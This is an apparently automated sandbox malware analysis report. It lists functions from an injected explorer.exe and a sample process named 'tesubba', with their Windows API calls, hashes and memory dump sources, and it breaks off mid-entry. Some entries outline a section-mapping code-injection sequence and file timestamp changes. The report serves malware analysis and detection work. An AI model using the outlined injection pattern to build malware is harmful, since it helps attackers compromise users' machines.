API ID: DeleteFile$ExitThreadUser
String ID: |:|
API String ID: 3702773391-3736120136
Opcode ID: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction ID: e4a99b3ef3b8524880cd368c79a2327b07736eb0c03347c99d77040c6eb07ce5
Opcode Fuzzy Hash: fbb803279be7c0de3d631b165653baee0dbf7d5d4714adb9b6c3d05972f478bd
Instruction Fuzzy Hash: EBE18030718F488BDB69BB68C4597BA76D1FBD8312F10062ED49FC3281DF74A9428786

Function 0AC41A60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 0AC41B77
CreateThread.KERNEL32 ref: 0AC41D32
CreateThread.KERNEL32 ref: 0AC41D59

Strings

iP+, xrefs: 0AC41CC2

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$Heap
String ID: iP+
API String ID: 1054751041-51890417
Opcode ID: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction ID: d2608f934e21c0eaff04a3fbf95e8f97ed305957eedab250a147a6df9c8ad25b
Opcode Fuzzy Hash: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction Fuzzy Hash: 3C91C770618E088FDF58EF18D8916A573D6FB98300F4A027DDC8ECB156DA34D581DB9A

Function 08381A60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 08381B77
CreateThread.KERNEL32 ref: 08381D32
CreateThread.KERNEL32 ref: 08381D59

Strings

iP+, xrefs: 08381CC2

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$Heap
String ID: iP+
API String ID: 1054751041-51890417
Opcode ID: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction ID: 8821e5596b8e4c723ed56dc0d59ebe4269cfc62b6d56a6bffb15f68a3d00576f
Opcode Fuzzy Hash: 2cb0cc4895ba9d61a021ba4609a68b07abc7c0267e95d8eab074489c4e5da047
Instruction Fuzzy Hash: 37918D30618E09CFCB54FF28D891AA973D6FBD8301B04417E9C4ECB256EA74D5468B96

Function 0AC449B0 Relevance: 4.6, APIs: 3, Instructions: 84
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 0AC449FF
CreateFileW.KERNEL32 ref: 0AC44A29
SetFileTime.KERNEL32 ref: 0AC44A54

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateTime
String ID:
API String ID: 1986686026-0
Opcode ID: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction ID: 1e3ed6d5d84f267f18a4e06afba7a60b50b267756d34c6897655daf39fa3f17a
Opcode Fuzzy Hash: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction Fuzzy Hash: 2621FF3071CA4C8FDF64EF68988879EB6E2FBD8705F10456EA84EC7245DA34DA058782

Function 0AC44E90 Relevance: 3.1, APIs: 2, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNEL32 ref: 0AC44F15
ObtainUserAgentString.URLMON ref: 0AC44F7E

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: AgentObtainQueryStringUserValue
String ID:
API String ID: 4107646653-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: 296cdbd2f459f3428951afe567e65640403a665ac70a0677221bce446237dd8f
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: A931C631608A4C8FDB18EF6CD8896E977D1FB98310B11027AEC4AC3146EE7098068795

Function 0AC41E1C Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0AC44D20: GetVolumeInformationA.KERNEL32 ref: 0AC44D8D

CreateMutexExA.KERNEL32 ref: 0AC41E8F
CreateFileMappingA.KERNEL32 ref: 0AC41F41

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: cb630ec9e2595ef561918961b78b416a9a0729fca66b257812701a866a5c3e22
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: 75417230B14F0C8FEB64EF38C0187AA76D2EB98716F154A2DD09FC6145CF749A429B49

Function 08381E1C Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 08384D20: GetVolumeInformationA.KERNEL32 ref: 08384D8D

CreateMutexExA.KERNEL32 ref: 08381E8F
CreateFileMappingA.KERNEL32 ref: 08381F41

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: 8f6b82f1043a61ce93eb1c8db76bd9f344dacfdccc2b79e93fd77f0cc8f90e1c
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: AB414E30714F08CFEB65FB3880587AE76D2EBD8707F104A2E805ED6245CF7496069785

Function 0AC44AD0 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 0AC44B24
GetTokenInformation.KERNELBASE ref: 0AC44B5B

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction ID: d20b3a2d55fdf93f46b251fec5cc04c5b3285d487ad4f68fb9e470848b21461f
Opcode Fuzzy Hash: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction Fuzzy Hash: E2213C34608A088FC754EF2CC49866AB7E1FB99311B054A6EE49AC7264DE30EC45DB82

Function 08384AD0 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 08384B24
GetTokenInformation.KERNELBASE ref: 08384B5B

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction ID: 2d9d26b6db4055b693fca8078f36d56efe9aa7d4d6e75a3c4cc6fda53a265262
Opcode Fuzzy Hash: 37b38c91b308edf2e4bebcb754188a08756fa8f3a9c0e1e81f7644c00244d549
Instruction Fuzzy Hash: E8213E34608B088FCB54FF28C49866AB7E1FBD9311B044A6EA49AC7364DA70D845DB82

Function 08383C84 Relevance: 3.1, APIs: 2, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 08383CA6
SleepEx.KERNEL32 ref: 08383D28

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: CreateSleepSnapshotToolhelp32
String ID:
API String ID: 684154974-0
Opcode ID: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction ID: 1acae57d0b090423aa6c087967ff0aba398da5b33c72d8cb1ef16c7cc91b0bcb
Opcode Fuzzy Hash: d87648c068091f5a601a251f696ac908138681014b07281b27555691989c57a1
Instruction Fuzzy Hash: 98219030218B09CFDB18FF64C0987AA72E2FBC8716F180A7ED84BDA395DB7595458B11

Function 0AC43D60 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 0AC43D7C
SleepEx.KERNEL32 ref: 0AC43D87

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 7f4848cae3290080b639270e6ffe739850d9264f6cf0ccfeb8a3a72f2a010657
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 56E04F30514A098FFB68AFA4C4DCBB032A1EB58206F15017ADC0EDD295CB768945CB24

Function 08383D60 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 08383D7C
SleepEx.KERNEL32 ref: 08383D87

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 9286ea765277d72b3900bc65c706766eada7794a6df64ca825c45e615dc9b78b
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 0FE04F30504A09CFEB28ABA4C0DCBB032A1EB58206F14017EDC0EDD395CB7A4949CB20

Function 0AC4400C Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a96c0002796f4483eb6bc6feb746ec78d293e7f1134298137c4194076fbbcd
Instruction ID: 3237d836e13b3228a3e2531a98685a011a94dfe3bfc0d578b2aea07aea7a095d
Opcode Fuzzy Hash: e4a96c0002796f4483eb6bc6feb746ec78d293e7f1134298137c4194076fbbcd
Instruction Fuzzy Hash: 1AD19030728B0D8BDB68EF6C94457AEB7E2FB98701F11452DE44AD3241DF74E9029B86

Function 0AC43678 Relevance: 1.9, APIs: 1, Instructions: 404comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE ref: 0AC436C5

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction ID: 81567a7054c42a40f486e97b5978d64c24ee9890d797a87ce4d6655d0996a088
Opcode Fuzzy Hash: b35aeaa2dabb4e76190c9dece0e8e20c87b044d0080395537af34a5cdc12a271
Instruction Fuzzy Hash: 01E1F934608A4C8FCF94EF68C885EA9B7F1FFA9305F114699E44ACB265DB70E944CB41

Function 08381F94 Relevance: 1.7, APIs: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 08382115

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction ID: 97ef057313f14abe628141ff6a5051f909295ed87cc93c69a1b6920d819abe27
Opcode Fuzzy Hash: 11cbd7d4e9e3daf7bdfec7693b32ce184b43af76b4895d117b786d6ffa4ff202
Instruction Fuzzy Hash: 44413930718B4C8FDBA8BFAC945836E76D2EBC8612F14457EA80EC3385DE749D068785

Function 0AC4337C Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0AC433C2

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 0172577ffbb16fb88c148d2b78da83c807056abfe002bd65a920c9360a464a6d
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: A241C03071CF4D4FD75CEA6C98593BABAC2EBC8221F15122EA89BC3345DE649C1247C6

Function 0838337C Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 083833C2

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: cb8551440d0d6ce3a36b61280f0b4381adf49abca424f1579cf4798901b9c8c1
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: B941A03071CB0D8FDB59BB6C985937AB6C2EBC8612F54422EA89BC3345DE64981647C2

Function 08384E90 Relevance: 1.6, APIs: 1, Instructions: 122registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32 ref: 08384F15

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: c3ef7c0e69dc62f6df4571b25281439dc7ca0ab64617d8ae4acfe08c8620cf34
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: 4231AF31608A0D8FDF18FF6898896EA77E5FBD8315B00027EE84AC3645EE6098068791

Function 0AC44D20 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 0AC44D8D

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction ID: ce03921138fb1e39f3d99c7d29dfdd61d4497253d781c0521d6c45e2f02e5089
Opcode Fuzzy Hash: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction Fuzzy Hash: 0C316530618A4C8FDB64EF68C448BAA77E1FBD8311F10466ED84EC7265DE70D945CB82

Function 08384D20 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 08384D8D

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction ID: e4d475b2ceaf3392fcbc01473faa1bdc75ac3ebd489f1faf5dc8069aba718143
Opcode Fuzzy Hash: f6d21cd985884bbd1fecacc52d91767e00694267905ea377f3a61296193c8c2d
Instruction Fuzzy Hash: BC310F31618B4C8FDB64FF688448BAA77E1FBD8311F10466E984EC7264DE70D945CB82

Function 0AC41A10 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0AC41A60: RtlCreateHeap.NTDLL ref: 0AC41B77

SleepEx.KERNEL32(?,?,?,?,?,?,?,0AC41A03), ref: 0AC41A30

Memory Dump Source

Source File: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Offset: 0AC41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_ac41000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: 97e23f39c96a8474f4a319f200000a9cceb395b25bb16d8d338e2a89bef85939
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: 2FE02020314F0C0BDBA4BF79D0C432C6090D7C8210F4A067DA58DC7281DC34C9C14315

Function 08381A10 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 08381A60: RtlCreateHeap.NTDLL ref: 08381B77

SleepEx.KERNEL32(?,?,?,?,?,?,?,08381A03), ref: 08381A30

Memory Dump Source

Source File: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Offset: 08381000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8381000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: e16cdd15638477a1a0b6a0dcfefd83fac20c576ab67fcf16ad6ad04633690659
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: A6E04F24714B08CBDBD8BBB8D4C432DB190EBC8252F90157EA91ECB285E828C9838311

Analysis Process: tesubbaPID: 7404, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	19.9%
Signature Coverage:	0%
Total number of Nodes:	156
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNELBASE(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNELBASE(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

}$, xrefs: 00418E55
k`, xrefs: 00418E2D

Memory Dump Source

Source File: 0000000F.00000002.1687832752.000000000040B000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_40b000_tesubba.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: fc9ad0c17474763d406ce3553705aad449b4f49c1046925f20dec018cbeb3551
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000F.00000002.1687803922.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_tesubba.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
